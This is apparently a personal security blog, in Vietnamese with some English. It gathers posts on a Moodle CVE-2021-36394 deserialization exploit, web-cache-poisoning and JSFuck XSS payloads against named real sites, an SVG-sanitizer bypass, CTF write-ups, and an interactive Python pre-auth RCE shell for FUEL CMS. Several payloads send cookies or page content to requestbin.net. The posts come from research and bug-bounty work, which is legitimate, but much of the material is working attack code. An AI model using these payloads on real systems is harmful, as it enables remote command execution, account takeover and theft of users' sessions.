[CVE 2021-36394] – Hack trường, sửa điểm, các kiểu (có POC)

I. Mở bài

Trong một lần coi livestream định hướng của CyberJutsu, mình tình cờ thấy được demo cho cái bug này. Nhớ lại trong scope mình handle cũng không ít site sử dụng moodle. Nên thử reproduce.

II. Hướng dẫn cài đặt

Mình sử dụng version 3.9.7 để làm POC.

Link Download: https://download.moodle.org/download.php/stable39/moodle-3.9.7.tgz

Sau khi cài đặt xong, vào Site administration -> Plugins -> Authentication -> Manager Authentication

Sau đó active plugins shibboleth

II. Phân tích Lỗi

Bài này phân tích khá chi tiết: https://buaq.net/go-81019.html. Nên mình chỉ tóm tắt lại

Vị trí lỗi nằm ở file /auth/shibboleth/classes/helper.php

Khi thực thi hàm logout_file_session, server sẽ chạy 1 vòng lặp để unserialize tất cả session trong thư mục /moodledata/sessions/ để tìm ra cái shibboleth_session_id. Sau đó mới so sánh với spsessionid hiện tại – Một pha xử lý khá cồng kềnh.

Khi thực thi hàm unserializesession, đoạn code tạo một preg_split với patern (\w+)\| để cắt chuỗi, như vậy nếu control được session và chèn (\w+)\| vào thì có thể tách chuỗi ra để unserialize được.

    $a = preg_split("/(\w+)\|/", $serializedstring, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);

Sử dụng regex tìm kiếm với file chứa cả 2 chuỗi patern \$SESSION.->.= và (optional_param\(|required_param\(), sau đó phân tích dữ liệu tìm được, có thể tìm ra /grade/report/grader/index.php chứa đoạn code mà user có thể control.

Đoạn code này có thể control được SESSION input thông qua chèn sifirst hoặc silast mà không cần Authen.

Từ đó rút ra được các bước khai thác như sau:

III. Exploit

1. Các bước khai thác

S1: Requests tới /grade/report/grader/index.php và chèn payload vào param sifirst hoặc silast với 1 MoodleSession hợp lệ.

Payload sẽ có dạng (\w+)\|input_payload_SERIALIZE_here(\w+)\|

S2: Gọi hàm logout_file_session bằng cách Request WSDL tới /auth/shibboleth/logout.php để trigger đoạn code

2. Gadget

** Một vài nhận xét:

  • Trong đoạn code thực thi logout_file_session không có thao tác ngầm ép kiểu String nên First Link không thể là một class chứa __toString, một số chain trên mạng sẽ không work. First Link sẽ là class chứa __destruct.
  • Để đa dạng hoá gadget chain, có thể tìm first link ép kiểu String.
  • Default Moodle sẽ gọi được các class trong /*/classes/*. Do đó first link sẽ nằm trong /*/classes/*.
  • Có thể gọi những class ngoài /*/classes/* bằng cách gọi một class khác có chứa hàm include(_once), require(_once), class đó.

** First Link: Sử dụng search __destruct với */classes/* sẽ tìm ra ứng cử viên cho First Link.

Sau khi đọc code 3 hàm này thì link duy nhất \core\lock\lock() có khả năng ứng cử vì sử dụng ép kiểu string thông qua cộng chuỗi.

** Next Link:

Tới đây chỉ cần $this->caller trỏ tới Next Link, mình có thể gọi 1 class khác chứa chain __toString()

Với 136 kết quả sẽ làm đa dạng hoá gadget chain.

Bài này có sử dụng 1 gadget chain đổi password admin, mình đem về modify lại trong context này.

Moodle – Remote Code Execution

Để khai thác chain này, có 2 vấn đề, thứ nhất __toString() không được gọi, vấn đề này đã được giải quyết, vấn đề thứ hai, các class \grade_grade \grade_item sẽ không gọi được do không nằm trong */classes/*.

Để xử lý bài toán này, mình sẽ gọi 1 class khác chứa hàm include class này.

/lib/grade/grade_grade.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course

-> Gọi class \core_analytics\course sẽ include file /lib/grade/grade_grade.php, sau đó có thể gọi được class \grade_grade

/lib/grade/grade_item.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course

-> Gọi class \core_analytics\course sẽ include file /lib/grade/grade_item.php, sau đó có thể gọi được class \grade_item

Ngoài ra có 1 chain khác khai thác dễ dàng hơn, link mình để phần POC

3. POC

https://github.com/dinhbaouit/CVE-2021-36394

VIdeo Tutorial Step by Step:

IV. Kết bài

Cơ bản lỗi này sẽ chỉ ảnh hưởng tới những site enable shibboleth plugin, sau khi đi săn mình thấy đa số trường Đại Học ở VN không enable plugin này. Lỗi này nói chung là có điều kiện cần và impact integrity khá gắt nên khả năng khai thác thực tế khá rủi ro.

Tuy nhiên cũng không nên chủ quan, vì còn nhiều chain khác cũng có thể khai thác mà không cần đổi password admin. Ví dụ

V. References:

https://buaq.net/go-81019.html

https://moodle.org/mod/forum/discuss.php?d=424799

Moodle – Remote Code Execution

Cà khịa XSS (Tập làm Thợ săn và cái cache)

** Lưu ý: Blog này không phải là một blog kĩ thuật, blog này chỉ mang tính chất nhí nhố và giải trí mùa dịch, xin đừng ném gạch.

I. Mở bài

Trong bối cảnh dịch bệnh, việc giãn cách xã hội dẫn đến ngày ngày phải làm bạn với 4 bức tường. Drama xảy ra thường xuyên cũng là một cách để làm cuộc sống bớt nhạt. Tuy nhiên thay vì đi cà khịa người để bị kiện (ở đây) thì chúng ta hãy đi cà khịa bug.

Nhìn lại quá khứ thấy mình thật là hứng thú với XSS, hồi đó có nghiên cứu CSP và thường đi gom những payload để bypass WAF … Thật là trẻ … trung.

II. Thân bài

Cảm hứng lấy từ chuyện bắt đầu chơi bug bounty (tính từ thời điểm bắt đầu vờn HackerOne).

XSS Reflected without bounty

Sau một năm đi săn thì tới giờ vẫn chưa có nổi một cái bounty cho loại bug này. Cảm thấy tự nhục nên viết bài này để giải trình.

Case Study 1: [allods.mail.ru] – WebCache Poisoning Host Header lead to Stored XSS

Bằng cách sửa host header thành

allods.mail.ru:13373″–><h1>Hacked_by_0xd0ff9<svg\x0conload=alert(document.domain)>

Nó đã bị cache và popup XSS ngay trang chủ, mình submit và nhận được response như này

Case study 2: [ir.ui.com] – WebCache Poisoning lead to Stored XSS

Bug này là do khi thêm Header: X-Original-Url: 34.71.207.185″ onmouseover=alert(document.domain) x=”

Nó sẽ cache luôn vào cái form HTML dẫn đến cũng Stored XSS nhưng phải trigger

Case Study 3: WebCache Poisoning at [dmp.dianshi.taobao.com] -can lead to Stored XSS

Chèn Malicious Host vào Header Host, sau khi cache lại lấy Host đầu tiên, Ta có thể Hijack được tag Base, Javascript và CSS được load từ Server của attacker.

Case Study 4: [www.attpac.org] – WebCache Poisoning lead to Stored XSS

Case Study X: [activities.marriott.com] – Bypass XSS reflected by JSfuck

Case này vướng phải WAF và uppercase Input nên mình sử dụng trick JSfuck để bypass.

POC:

https://activities.marriott.com//?currency=ARS%3C/script%3E%3Cscript%3E%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D((!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%2b%5B!%5B%5D%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(%2b(!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D))%5B(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%2b%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b((%2b%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(%5B%5D%5B%5B%5D%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%2b%5B%2b!%2b%5B%5D%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%5D%5D(!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%2b%5B!%2b%5B%5D%2b!%2b%5B%5D%5D)%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D)()((!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%2b%5B!%2b%5B%5D%2b!%2b%5B%5D%2b!%2b%5B%5D%5D%5D%2b%5B%2b!%2b%5B%5D%5D%2b(%5B%2b%5B%5D%5D%2b!%5B%5D%2b%5B%5D%5B(!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%5D%2b(!%5B%5D%2b%5B%5D)%5B%2b!%2b%5B%5D%5D%2b(!!%5B%5D%2b%5B%5D)%5B%2b%5B%5D%5D%5D)%5B!%2b%5B%5D%2b!%2b%5B%5D%2b%5B%2b%5B%5D%5D%5D)%3C/script%3E

N/A

Lý do là vi Policy, thấy XSS đừng vội submit, coi chừng dính Trap.

Tới giờ thì họ đã fix nhưng status thì vẫn N/A

Case Study XX: Ngoài ra còn nhiều lắm nhưng private program nên mình không public

III. Kết bài

Tóm lại, sau một năm Try Hard với nghề này mình rút ra được là

  • Trước khi submit bất cứ report nào, hãy đọc kĩ Policy dù bug của bạn valid, và hãy chuẩn bị tâm lý bị trừ điểm, nếu sợ thì lấy nick clone submit rồi tag mình vào nhận bounty.
  • Chơi bug bounty, tìm được bug, POC được, được Triage chưa chắc đã viên mãn. Khi nào thấy cái mail này thì vui chưa muộn.
  • Triager là người sẽ cho bạn cảm giác lên voi và sẵn sàng kéo bạn xuống chó bất cứ lúc nào. Nên cư xử sao đừng để bị đì.

How to create beautiful CV

  1. Go to https://www.kickresume.com/dashboard/resumes/, create a CV
  2. Preview CV
  3. Find preview iframe (https://preview.kickresume.sk/live-preview/) and copy code from this.
  4. Paste code to area: https://gist.github.com/dinhbaouit/0f9faa646c9c73dc1647012a7560dc7f

5. Remove SVG tag with class=”preview-overlay PreviewOverlay__preview-overlay___2UeHUpU6fi”

6. Save and export to PDF: (https://www.sejda.com/html-to-pdf )

7. Get CV

Cuộc sống mà :))

Google CTF 2020 – Tech Support (Trick Abuse Self XSS, CSRF login, improper session management)

Require: Self XSS, CSRF login, When valid session on new tab, no script relogin.

POC:

<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id="first"></iframe>
<iframe srcdoc='<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState("", "", "/")</script>
    <form action="https://typeselfsub.web.ctfcompetition.com/login" method="POST" id="formlogin">
      <input type="hidden" name="username" value="lala" />
      <input type="hidden" name="password" value="lala@123" />
      <input type="hidden" name="csrf" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("formlogin").submit()
    </script>
  </body>
</html>
' id="second"></iframe>

<!-- self XSS:
<script>location="http://requestbin.net/r/r99y3cr9?"+(window.top.frames[0].document.getElementsByClassName("container")[2].innerText)</script>

1. Create Iframe 1 have Target Victim session on example.com
2. Create Iframe 2 have CSRF login as attacker –)) attacker session on example.com
3. Abuse SOP of Iframe 1 and Iframe 2, from self XSS in Iframe 2 –)) read data from Iframe 1 (include cookie, content, …) by using:

window.top.frames[0].document.cookie

When you plan to copy code, you could see some free bugs !!!

When doing some project using php, I need a function to upload a safe SVG, so I search google and found this: svg-sanitizer(https://github.com/darylldoyle/svg-sanitizer). But I have a question, is it really safe? I see some plugin written in wordpress, drupal used it. Also Core Typo3 CMS used it. But it cannot make me convince.
Analyse how it sanitized:

Main function to sanitized, will explain like this:
1. Remove all php script tag

$dirty = preg_replace('/<\?(=|php)(.+?)\?>/i', '', $dirty);

2. Load XML and remote all doctype

        $loaded = $this->xmlDocument->loadXML($dirty);
        // If we couldn't parse the XML then we go no further. Reset and return false

        if (!$loaded) {
            $this->resetAfter();
            return false;
        }


        $this->removeDoctype();

3. Clean XML tag
3.1 Clean XMl tag from whitelist
3.2 Clean XLink Href from XML xlink:href (https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/xlink:href) and also have a whitelist

    protected function cleanXlinkHrefs(\DOMElement $element)
    {
        $xlinks = $element->getAttributeNS('http://www.w3.org/1999/xlink', 'href');
        if (preg_match(self::SCRIPT_REGEX, $xlinks) === 1) {
            if (!in_array(substr($xlinks, 0, 14), array(
                'data:image/png', // PNG
                'data:image/gif', // GIF
                'data:image/jpg', // JPG
                'data:image/jpe', // JPEG
                'data:image/pjp', // PJPEG
            ))) {

                $element->removeAttributeNS( 'http://www.w3.org/1999/xlink', 'href' );
            }
        }
    }

3.3 Clean Href follow blacklist

    protected function cleanHrefs(\DOMElement $element)
    {
        $href = $element->getAttribute('href');

        if (preg_match(self::SCRIPT_REGEX, $href) === 1) {
            $element->removeAttribute('href');
        }
    }

with SCRIPT_REGEX is /(?:\w+script|data):/xi

It will remove all schema from *script and data, but not safe enough, possible to bypass with some character like \s in URL. Remember the payload from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,
The html code below will work

<a href='javascript\x09:alert(document.domain)'>

. But, the first stuck is
4. remove all non-printable and replace \s with space
However, entities is allow and auto decode in attribute value of tag like this

hm, but LoadXML from DOMDocument will encode it and return to

<a href='javascript:alert(document.domain)'>

So, I try with double encode:

but, &# x09; is decode as & amp ;

And this is the second stuck.

But if chain two stuck above, I get the payloads bypass this function:

So I build SVG to bypass this library:

Just testing for Safe SVG Plugin 1.9.4 in WordPress:

And Typo3 LTS 10:

Some module in drupal (svg_sanitizer, svg_upload_sanitizer,…)

References:
https://github.com/darylldoyle/svg-sanitizer/issues/31
https://wpvulndb.com/vulnerabilities/9942

From Code Evaluation to Pre-Auth Remote Code Execution (CVE-2018-16763 bypass)

I wrote the exploit for CVE-2018-16763, thanks om3rcitak (https://github.com/om3rcitak) for capture nice vulnerability.


import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = ""
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

image

Reference:
https://www.exploit-db.com/exploits/47138
https://github.com/daylightstudio/FUEL-CMS/issues/478

 

ISITDTU CTF 2019 (XSSGAME 1)

Cũng một thời gian dài mình chưa có gì đó để viết, lẽ ra trước bài này sẽ là một bài post với motip quen thuộc “tôi đã pwn full cái app nào đó của cái subdomain nào đó của spotify như thế nào” mà tại bất mãn nhiều thứ quá nên thôi.
Nói xuông thì không ai tin nên để lại tấm hình làm bằng chứng.

p/s: không phải tự nhiên chữ full lại in đậm đâu

Thôi quay về chủ đề chính, bài XSSGAME1 này mình lấy ý tưởng trong một phút nông nổi, do không có nhiều thời gian nên mình không kịp handle được một số thiếu sót, dẫn đến người chơi bị cuốn vào một solution quá dễ. Mình cũng từng có ý định filter một số kí tự để người chơi biết được solution mà tác giả nhắm đến nhưng nghĩ lại làm vậy sẽ làm mất tính “code nub tự nhiên” của bài. Do đó mình quyết định giữ nguyên và coi như đây là một thất bại trong việc ra đề.

Thực tế bài này chỉ là XSS và không cần cho source, người chơi có thể fuzz và đoán được code viết như thế nào. Vậy nên mình để source dưới dạng backup, ai thấy được thì rõ ràng hơn mà không thấy được cũng chẳng sao.

<?php header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin"); header("X-XSS-Protection: 1; mode=block"); function blacklist($strings) { if(strlen($strings)>500)
	{
		die("Too Long");
	}

	if(preg_match('/[\'`]+/i', $strings))
	{
		die('Not Allow');
	}
}
if(isset($_GET['pl'])&&!empty($_GET['pl']))
{
	$xss = $_GET['pl'];
	blacklist($xss);
?>

/*** We prevent change the location ***:
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3EObject.freeze(location)%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" /><?=$xss?>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Elocation%3D'http%3A%2F%2F%3C%3F%3D%24xss%20%3F%3E'%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />

<?php
	
}
else
{
	echo "<a href='?pl=xss'>click me</a>
Bot check: <a href='submit.php'>here</a>";
}
?>

Một số đội giải bằng cách rất dễ bằng cách sử dụng double string để bypass Auditor và location.assign để bypass Object.freeze(location).
Mình đã từng có ý định chặn lại cách này nhưng sửa đề đang lúc thi sẽ gây ra nhiều phiền phức nên thôi
Ý tưởng thực sự:

S1.

Lợi dụng tính năng về đường dẫn tương đối của php ( http://abc.xyz/index.php/xxx -> http://abc.xyz/index.php ) để tạo ra một file có nội dung là text mà không cần phải control param. Từ đó tận dụng tính năng accept Same Origin Policy của Auditor để chèn được script từ một file nằm trên server (Nếu file có dạng param `http://abc.xyz/gggg?x` thì auditor sẽ kích hoạt trạng thái danger).
cụ thể payload sẽ như sau:

http://165.22.52.11/XSSGAME1/?pl=sss/../../../XSSGAME1/index.php/?pl=/*%3Cscript%20x=*/alert(1)://%20src=%22/aaa%3E

nhờ dấu double quote được in ra 2 lần nên ta sẽ nhận được response trả về như sau

/*** We prevent change the location ***:
<script>Object.freeze(location);</script>sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src="/aaa><br><script>location='http://sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src="/aaa>';</script>

phiên bản thực:

cái SRC kia sẽ là

http://165.22.52.11/aaa><br><script>location='http://sss/../../../XSSGAME1/index.php/?pl=/*<script x=*/alert(1);// src=

sau khi browser rút gọn đường dẫn sẽ trở thành

165.22.52.11/XSSGAME1/index.php/?pl=/*<script%20x=*/alert(1);//%20src=

response trả về:

và file đó sẽ trở thành script sẽ được thêm vô đoạn inject ban đầu, với comment trước và sau thì script thực thi sẽ để ở trong đoạn alert(1).

S2.

Sau khi bước 1 thành công, thì coi như đã có thể thực thi được script, tuy nhiên script chỉ có thể nằm trong sandbox và chỉ có thể tương tác với Same Origin theo CSP mô tả (object location trên lý thuyết đã bị freeze, cơ mà hacker thế giới đã bypass con đường này bằng cách dùng location.assign, không hiểu trời sinh ra cái mấy cái method này làm gì, để hack dễ hơn à >.< ). Trong context này CSP chỉ dùng duy nhất ở file index.php (nhìn code là đoán ra ngay). robots.txt, submit.php, … không có CSP. Do đó có một cách bypass CSP là để một endpoint không chứa CSP ở trong một endpoint có thể XSS mà chứa CSP và thực thi script bên trong endpoint không chứa CSP. Mình dùng iframe và đây cũng là cách dễ nhất.
Cụ thể như sau:

S2.1.

Tạo 1 iframe bằng javascript và src trỏ đến một điểm không có CSP. (Tức là endpoint thứ nhất nằm ngoài chứa endpoint thứ hai nằm trong, endpoint thứ nhất chính là index.php có CSP, endpoint thứ hai có thể là robots.txt, submit.php,… miễn sao không có CSP ), điều này hoàn toàn có thể được vì CSP quy định default là self và endpoint thứ nhất + endpoint thứ hai có chung Origin.

S2.2.

Khi load endpoint thứ hai (endpoint nằm trong iframe) lên, một đoạn script sẽ được đưa vào trong endpoint thứ hai (tận dụng việc đã chèn được XSS ở endpoint thứ nhất), tại endpoint thứ hai này, CSP sẽ không work, do đó có thể tạo object image,svg hay bất kì cái gì đó có thể có tag attribute là src và đưa giá trị cần leak ra ngoài (ở đây là cookie, vì flag nằm trong cookie).
Hình dung đoạn code sẽ như sau:

f=document.createElement("iframe");f.id="bechanh";f.src="/XSSGAME1/submit.php"; f.onload=()=>{x=document.createElement('img');x.src='//requestbin.net/r/18gn6aa1?inspect=lallalala/'+document.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

Ghép 2 Stage lại, ta có payload như sau:

